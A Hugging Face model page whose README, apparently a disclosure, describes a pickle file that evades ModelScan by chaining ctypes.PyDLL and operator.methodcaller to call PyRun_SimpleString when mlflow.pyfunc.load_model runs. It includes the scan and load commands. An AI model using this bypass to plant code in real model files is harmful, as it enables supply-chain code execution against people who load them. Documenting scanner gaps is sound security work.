Downloads · 30 days
0
xiaoyaoes/modelscan-mlflow-pydll-bypass
modelscan-mlflow-pydll-bypass is a machine learning model from xiaoyaoes. Use it for the machine learning task on the model card, and read the license before you ship it in a product. It is set up for mlflow.
ModelScan's pickle scanner uses an unsafeglobals denylist. Two critical modules are not blocked: ctypes.PyDLL and operator.methodcaller. This MLflow model exploits that gap.
Downloads · 30 days
0
Access
Public
Updated Jun 12, 2026
Repo size
148 B
Likes
0
Public
Click a slice to open those files.
.md2 KB · 48%
From the Hugging Face model README
ModelScan's pickle scanner uses an unsafe_globals denylist. Two critical modules are not blocked: ctypes.PyDLL and operator.methodcaller. This MLflow model exploits that gap.
This is the same PyDLL technique repackaged as an MLflow model (.pkl + MLmodel metadata). ModelScan reports 0 Issues. Loading via mlflow.pyfunc.load_model() triggers arbitrary code execution through CPython's C API.
The pickle file uses only two STACK_GLOBAL opcodes:
ctypes.PyDLL → Gets CPython's dynamic library loader (NOT in unsafe_globals)operator.methodcaller → Gets method caller (NOT blocked; only attrgetter is)Deserialization chain:
ctypes.PyDLL(None) → Opens current Python process
operator.methodcaller('PyRun_SimpleString', code) → Builds callable
methodcaller(dll) → Calls PyRun_SimpleString(arbitrary_code)
→ Arbitrary code execution via CPython C API
# 1. ModelScan says CLEAN
modelscan -p model.pkl
# Output: No issues found! 🎉
# 2. MLflow load triggers RCE
python3 -c "
import mlflow.pyfunc
model = mlflow.pyfunc.load_model('.')
# PyRun_SimpleString executes before load_model returns
"
ctypes is NOT in ModelScan's unsafe_globals denylist (only os.*, sys.*, subprocess.*, builtins.* are)operator.methodcaller is NOT blocked (only operator.attrgetter is)PyRun_SimpleString is a CPython C API that directly executes source code at the C level, bypassing Python-level restrictions